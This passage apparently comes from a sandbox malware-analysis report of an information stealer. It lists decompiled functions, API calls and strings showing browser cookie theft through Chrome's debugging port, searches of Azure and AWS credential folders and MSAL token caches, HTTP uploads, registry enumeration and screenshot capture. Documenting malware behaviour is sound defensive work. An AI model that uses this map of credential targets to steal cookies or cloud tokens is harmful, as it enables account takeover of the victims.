lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
connect_to_websocket.CHROME(?,00000000), ref: 00409C76
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E
free_result.CHROME(00000000), ref: 00409D8B

Strings

.txt, xrefs: 00409D01
/devtools, xrefs: 00409C0B
ws://localhost:9229, xrefs: 00409C3C
cookies, xrefs: 00409CA3
localhost, xrefs: 00409BF5

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction ID: dd0e0b2e904cac6dcb4644251d8498bdcd69e700431b121c7f08c254ac6fdba9
Opcode Fuzzy Hash: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction Fuzzy Hash: 97517E71D10518ABCB14EBE0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,02F6EBA8,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

Azure\.IdentityService, xrefs: 0041513B
msal.cache, xrefs: 00415140
Azure\.azure, xrefs: 00415023
\.aws\, xrefs: 0041509D
*.*, xrefs: 004150B4
Azure\.aws, xrefs: 004150AF
\.IdentityService\, xrefs: 00415129
*.*, xrefs: 00415028
\.azure\, xrefs: 00415011

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 0040CFF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,02F6ED88,0042156C,02F6ED88,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,02F77258), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,02F77248,?,02F76750,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404C42
------, xrefs: 00404CB9
", xrefs: 00404D83
------, xrefs: 00404A0D
------, xrefs: 00404B78

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 58931ed8340f2a32df3531985ba81832016a7b18c943cef600aad90e86fee314
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: 58931ed8340f2a32df3531985ba81832016a7b18c943cef600aad90e86fee314
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004062D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,02F76750,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406457
GET, xrefs: 004063CC
ERROR, xrefs: 00406519
FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET
API String ID: 3074848878-1334267432
Opcode ID: 166aa3ced4eab29ed66c4890441b9b70c092572cb756529190931bdffa1f618a
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: 166aa3ced4eab29ed66c4890441b9b70c092572cb756529190931bdffa1f618a
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 004184B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,02F73088,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

?, xrefs: 0041850A
%s\%s, xrefs: 004185DD
- , xrefs: 00418733

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

image/jpeg, xrefs: 004192C6
`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C
`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 00415760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 00415C4E
ERROR, xrefs: 00415B82
ERROR, xrefs: 004159CD
ERROR, xrefs: 004158E3
ERROR, xrefs: 00415886
ERROR, xrefs: 00415A99

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
